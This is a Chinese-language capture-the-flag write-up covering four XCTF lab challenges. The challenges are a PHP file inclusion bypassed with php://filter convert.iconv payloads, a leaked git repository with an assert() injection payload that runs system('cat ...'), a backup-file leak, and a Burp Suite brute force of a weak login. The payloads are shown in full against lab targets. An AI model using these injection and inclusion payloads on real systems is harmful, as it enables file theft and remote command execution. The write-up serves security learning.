攻防世界ctf

1.题目名称-文件包含

php 复制代码
  if(isset($_GET['filename'])){
        $filename  = $_GET['filename'];
        include($filename);
    }

通过代码审计,我们发现这存在文件包含漏洞,由于没有很好的进行过滤,所以我们可以通过 URL 参数传递任意文件路径给参数$filename,也就是可以构造恶意代码

1.首先尝试filter协议访问数据流

PHP伪协议filter详解

显示do not hack

尝试了data伪协议和file伪协议都显示 do not hack

说明进行了很严格的过滤,那我们要想办法绕过。参考官方,提示使用 convert.iconv.[]过滤器绕过,[]中支持以下字符编码

依次构造payload

html 复制代码
http://61.147.171.105:49280/index.php?filename=php://filter//convert.iconv.UCS-4*/resource=/var/www/html/flag.php
http://61.147.171.105:49280/index.php?filename=php://filter//convert.iconv.UCS-4BE/resource=/var/www/html/flag.php
http://61.147.171.105:49280/index.php?filename=php://filter//convert.iconv.UCS-4LE*/resource=/var/www/html/flag.php

依次进行尝试 ,只有UCS-4*是没有报出错误信息的

再结合一下filter协议读取数据,得到flag

2.mfw

打开题目,会有三个网页,我们查看其他网页发现了这个提示

在CTF比赛中,我们需要收集的信息有以下几类:

服务器信息

敏感目录

敏感文件

而在实战中,我们还可能需要收集更多的信息来找到渗透的突破口,比如开放的端口,使用的CDN,是否有泄漏的源码

我们看到了敏感目录git,就要想到git目录泄露

通过泄露的敏感目录,我们可以获取服务器路径、url甚至直接获取网站源码

尝试查看敏感信息文件

下载备份文件后找到核心代码

php 复制代码
<?php
 
if (isset($_GET['page'])) {  
	$page = $_GET['page'];
} else {    //为空输出page=home
	$page = "home";
}
 
$file = "templates/" . $page . ".php";
 
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");  
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
 
?>
<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<meta http-equiv="X-UA-Compatible" content="IE=edge">
		<meta name="viewport" content="width=device-width, initial-scale=1">
		
		<title>My PHP Website</title>
		
		<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
	</head>
	<body>
		<nav class="navbar navbar-inverse navbar-fixed-top">
			<div class="container">
		    	<div class="navbar-header">
		    		<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
		            	<span class="sr-only">Toggle navigation</span>
		            	<span class="icon-bar"></span>
		            	<span class="icon-bar"></span>
		            	<span class="icon-bar"></span>
		          	</button>
		          	<a class="navbar-brand" href="#">Project name</a>
		        </div>
		        <div id="navbar" class="collapse navbar-collapse">
		          	<ul class="nav navbar-nav">
		            	<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
		            	<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
		            	<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
						<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
		          	</ul>
		        </div>
		    </div>
		</nav>
		
		<div class="container" style="margin-top: 50px">
			<?php
				require_once $file;
			?>
			
		</div>
		
		<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
		<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
	</body>
</html>

file = "templates/" . page . ".php";

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

如果要最终找flag需要绕过 ,参考大佬的思维可以用// 将后面的内容注释掉,并用')来与strpos()函数的前半部分('templates/进行闭合。

构造payload: /?page=');//

这个显示不行,不过在下载文件时我们已经知道了flag文件的路径,所以可以直接构造payload

/?page=').system('cat+./templates/flag.php');//

查看源码,拿到flag(当没有显示,或者网页发生变化时记得查看源码哦)

3.backup

index.php 文件通常是 Web 应用程序的入口点(入口文件)。当用户访问网站的根目录时,Web 服务器会自动加载并执行 index.php 文件。它负责处理用户的请求,并根据请求的内容返回相应的响应。

题目很明显提示了备份文件

常见的备份文件扩展名,我们依次进行查看

备份文件.bak直接下载了一个备份文件。

查看一下得到flag

4.weak_auth

根据提示,小宁随手写了一个密码 。测试一下登录和注册,这是一个密码安全强度弱的登录页面。我们可以尝试用burpsuit暴力破解

先抓包然后发送到intruder

在burp中导入字典进行爆破

有两个密码显示不一样,尝试一下得到密码123456.,然后登录得到flag

相关推荐
BingoGo1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理5 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行5 天前
网络安全总结
安全·web安全
QQ5110082855 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php